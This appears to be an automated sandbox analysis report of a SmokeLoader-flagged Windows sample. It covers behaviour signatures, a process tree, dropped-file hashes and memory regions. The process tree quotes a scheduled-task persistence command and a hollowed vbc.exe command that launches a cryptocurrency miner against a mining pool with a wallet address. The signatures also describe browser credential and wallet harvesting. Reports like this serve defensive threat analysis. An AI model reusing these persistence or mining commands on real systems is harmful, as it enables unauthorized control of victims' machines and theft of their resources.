Analysis

  • max time kernel
    51s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/10/2022, 18:16

General

  • Target
    78c38373159afbb6b866fc46abbf5d8c.exe
  • Size 219KB
  • Sample221026-wwfvvaged5
  • SHA256 6948efb52487ba3d6b20ca622bfbfdffabe10ad19209b7ae21435f47261c912b
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Smokeloader packer 1 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Downloads MZ/PE file
  • Executes dropped EXE 5 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Uses the VBS compiler for execution 1 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\78c38373159afbb6b866fc46abbf5d8c.exe
    "C:\Users\Admin\AppData\Local\Temp\78c38373159afbb6b866fc46abbf5d8c.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:3576
  • C:\Users\Admin\AppData\Local\Temp\FD7F.exe
    C:\Users\Admin\AppData\Local\Temp\FD7F.exe
    1⤵
    • Executes dropped EXE
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:320
    • C:\Users\Admin\AppData\Roaming\UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe
      "C:\Users\Admin\AppData\Roaming\UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4428
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA60.tmp.bat""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2628
        • C:\Windows\system32\timeout.exe
          timeout 3
          4⤵
          • Delays execution with timeout.exe
          PID:4272
        • C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe
          "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
          4⤵
          • Executes dropped EXE
          • Checks computer location settings
          • Suspicious use of SetThreadContext
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3412
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "LYKAA" /tr "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3092
            • C:\Windows\system32\schtasks.exe
              schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "LYKAA" /tr "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
              6⤵
              • Creates scheduled task(s)
              PID:4252
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RKsS6XcgidDNc8rU38Yiv5STQutyMUu9A4.test -p x -t 5
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1852
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c cls
              6⤵
                PID:2352
    • C:\Users\Admin\AppData\Local\Temp\102D.exe
      C:\Users\Admin\AppData\Local\Temp\102D.exe
      1⤵
      • Executes dropped EXE
      PID:3996
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell "" "Get-WmiObject Win32_PortConnector"
        2⤵
          PID:4660
      • C:\Users\Admin\AppData\Local\Temp\1C25.exe
        C:\Users\Admin\AppData\Local\Temp\1C25.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:4276
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4276 -s 1576
          2⤵
          • Program crash
          PID:3240
      • C:\Windows\SysWOW64\explorer.exe
        C:\Windows\SysWOW64\explorer.exe
        1⤵
          PID:544
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe
          1⤵
            PID:2332
          • C:\Windows\SysWOW64\explorer.exe
            C:\Windows\SysWOW64\explorer.exe
            1⤵
              PID:1948
            • C:\Windows\explorer.exe
              C:\Windows\explorer.exe
              1⤵
                PID:1220
              • C:\Windows\SysWOW64\explorer.exe
                C:\Windows\SysWOW64\explorer.exe
                1⤵
                  PID:3260
                • C:\Windows\SysWOW64\explorer.exe
                  C:\Windows\SysWOW64\explorer.exe
                  1⤵
                    PID:384
                  • C:\Windows\SysWOW64\explorer.exe
                    C:\Windows\SysWOW64\explorer.exe
                    1⤵
                      PID:1792
                    • C:\Windows\explorer.exe
                      C:\Windows\explorer.exe
                      1⤵
                        PID:3144
                      • C:\Windows\SysWOW64\explorer.exe
                        C:\Windows\SysWOW64\explorer.exe
                        1⤵
                          PID:4556
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4276 -ip 4276
                          1⤵
                            PID:4672

                          Network

                                MITRE ATT&CK Enterprise v6

                                Replay Monitor

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                                Downloads

                                LYKAA.exe

                                • Path C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe
                                • Size 836KB
                                • SHA256 34ef414650a9bff1205c4483b8f87f887c9f7f133df4ed65ffda04426c0473d0
                                • MD5 SHA1 SHA512 SSDEEP

                                LYKAA.exe

                                • Path C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe
                                • Size 836KB
                                • SHA256 34ef414650a9bff1205c4483b8f87f887c9f7f133df4ed65ffda04426c0473d0
                                • MD5 SHA1 SHA512 SSDEEP

                                102D.exe

                                • Path C:\Users\Admin\AppData\Local\Temp\102D.exe
                                • Size 2.6MB
                                • SHA256 b4c758e51a6f76ed43e0219aac7367af7d7b54c12130a39fdad3caa1f402d675
                                • MD5 SHA1 SHA512 SSDEEP

                                1C25.exe

                                • Path C:\Users\Admin\AppData\Local\Temp\1C25.exe
                                • Size 347KB
                                • SHA256 7fb66e90aa395e63d9701a2b5c796742ccc900a5b02eae39b7aaebc6c69fadff
                                • MD5 SHA1 SHA512 SSDEEP

                                1C25.exe

                                • Path C:\Users\Admin\AppData\Local\Temp\1C25.exe
                                • Size 347KB
                                • SHA256 7fb66e90aa395e63d9701a2b5c796742ccc900a5b02eae39b7aaebc6c69fadff
                                • MD5 SHA1 SHA512 SSDEEP

                                FD7F.exe

                                • Path C:\Users\Admin\AppData\Local\Temp\FD7F.exe
                                • Size 1.1MB
                                • SHA256 be73afa7a9b39a447b38dc20b76017742364402e4dcaf629a014a694ed202d6a
                                • MD5 SHA1 SHA512 SSDEEP

                                FD7F.exe

                                • Path C:\Users\Admin\AppData\Local\Temp\FD7F.exe
                                • Size 1.1MB
                                • SHA256 be73afa7a9b39a447b38dc20b76017742364402e4dcaf629a014a694ed202d6a
                                • MD5 SHA1 SHA512 SSDEEP

                                tmpA60.tmp.bat

                                • Path C:\Users\Admin\AppData\Local\Temp\tmpA60.tmp.bat
                                • Size 152B
                                • SHA256 e390e75ab04dc1ae23495c3da1cbae1ad963dfe7a5a5d923c3f1f3c23610cdd6
                                • MD5 SHA1 SHA512

                                UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe

                                • Path C:\Users\Admin\AppData\Roaming\UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe
                                • Size 836KB
                                • SHA256 34ef414650a9bff1205c4483b8f87f887c9f7f133df4ed65ffda04426c0473d0
                                • MD5 SHA1 SHA512 SSDEEP

                                UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe

                                • Path C:\Users\Admin\AppData\Roaming\UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe
                                • Size 836KB
                                • SHA256 34ef414650a9bff1205c4483b8f87f887c9f7f133df4ed65ffda04426c0473d0
                                • MD5 SHA1 SHA512 SSDEEP

                                memory/320-139-0x0000000000F30000-0x0000000001050000-memory.dmp

                                memory/320-140-0x00007FF8CFD00000-0x00007FF8D07C1000-memory.dmp

                                memory/320-145-0x00007FF8CFD00000-0x00007FF8D07C1000-memory.dmp

                                memory/384-188-0x0000000000D60000-0x0000000000D69000-memory.dmp

                                memory/384-216-0x0000000000D70000-0x0000000000D75000-memory.dmp

                                memory/544-165-0x0000000000D20000-0x0000000000D2B000-memory.dmp

                                memory/544-164-0x0000000000D30000-0x0000000000D37000-memory.dmp

                                memory/1220-213-0x00000000006E0000-0x00000000006E6000-memory.dmp

                                memory/1220-182-0x00000000006E0000-0x00000000006E6000-memory.dmp

                                memory/1220-183-0x00000000006D0000-0x00000000006DC000-memory.dmp

                                memory/1792-217-0x00000000012E0000-0x00000000012E6000-memory.dmp

                                memory/1792-192-0x00000000012D0000-0x00000000012DB000-memory.dmp

                                memory/1792-191-0x00000000012E0000-0x00000000012E6000-memory.dmp

                                memory/1852-201-0x0000000140000000-0x00000001400C6000-memory.dmp

                                memory/1852-196-0x0000000140000000-0x00000001400C6000-memory.dmp

                                memory/1852-193-0x0000000140000000-0x00000001400C6000-memory.dmp

                                memory/1852-218-0x0000000140000000-0x00000001400C6000-memory.dmp

                                memory/1852-197-0x0000000140000000-0x00000001400C6000-memory.dmp

                                memory/1948-180-0x0000000000360000-0x0000000000369000-memory.dmp

                                memory/1948-179-0x0000000000370000-0x0000000000375000-memory.dmp

                                memory/1948-212-0x0000000000370000-0x0000000000375000-memory.dmp

                                memory/2332-211-0x00000000008F0000-0x00000000008F9000-memory.dmp

                                memory/2332-172-0x00000000008F0000-0x00000000008F9000-memory.dmp

                                memory/2332-173-0x00000000008E0000-0x00000000008EF000-memory.dmp

                                memory/3144-199-0x0000000000990000-0x000000000099D000-memory.dmp

                                memory/3144-220-0x00000000009A0000-0x00000000009A7000-memory.dmp

                                memory/3260-185-0x0000000000390000-0x00000000003B2000-memory.dmp

                                memory/3260-186-0x0000000000360000-0x0000000000387000-memory.dmp

                                memory/3260-215-0x0000000000390000-0x00000000003B2000-memory.dmp

                                memory/3412-157-0x00007FF8CFD00000-0x00007FF8D07C1000-memory.dmp

                                memory/3412-204-0x00007FF8CFD00000-0x00007FF8D07C1000-memory.dmp

                                memory/3576-133-0x00000000006E0000-0x00000000006E9000-memory.dmp

                                memory/3576-134-0x0000000000400000-0x0000000000595000-memory.dmp

                                memory/3576-135-0x0000000000400000-0x0000000000595000-memory.dmp

                                memory/3576-132-0x0000000000928000-0x0000000000939000-memory.dmp

                                memory/3996-190-0x00007FF65A340000-0x00007FF65ABA3000-memory.dmp

                                memory/3996-153-0x00007FF65A340000-0x00007FF65ABA3000-memory.dmp

                                memory/4276-166-0x00000000008D9000-0x000000000090A000-memory.dmp

                                memory/4276-209-0x0000000006BC0000-0x00000000070EC000-memory.dmp

                                memory/4276-178-0x0000000005570000-0x00000000055AC000-memory.dmp

                                memory/4276-167-0x0000000000710000-0x000000000074E000-memory.dmp

                                memory/4276-177-0x0000000005550000-0x0000000005562000-memory.dmp

                                memory/4276-168-0x0000000000400000-0x00000000005B5000-memory.dmp

                                memory/4276-176-0x0000000005430000-0x000000000553A000-memory.dmp

                                memory/4276-203-0x0000000005E90000-0x0000000005EF6000-memory.dmp

                                memory/4276-170-0x0000000004E80000-0x0000000005424000-memory.dmp

                                memory/4276-175-0x0000000005600000-0x0000000005C18000-memory.dmp

                                memory/4276-206-0x00000000068F0000-0x0000000006966000-memory.dmp

                                memory/4276-207-0x0000000006990000-0x00000000069E0000-memory.dmp

                                memory/4276-208-0x00000000069F0000-0x0000000006BB2000-memory.dmp

                                memory/4276-210-0x00000000008D9000-0x000000000090A000-memory.dmp

                                memory/4276-171-0x0000000004D00000-0x0000000004D92000-memory.dmp

                                memory/4428-150-0x00007FF8CFD00000-0x00007FF8D07C1000-memory.dmp

                                memory/4428-146-0x00007FF8CFD00000-0x00007FF8D07C1000-memory.dmp

                                memory/4428-144-0x00000000008A0000-0x0000000000976000-memory.dmp

                                memory/4556-205-0x00000000004A0000-0x00000000004A8000-memory.dmp

                                memory/4556-202-0x0000000000490000-0x000000000049B000-memory.dmp

                                memory/4556-221-0x00000000004A0000-0x00000000004A8000-memory.dmp

                                memory/4660-219-0x00007FF8CFD00000-0x00007FF8D07C1000-memory.dmp

                                memory/4660-222-0x00007FF8CFD00000-0x00007FF8D07C1000-memory.dmp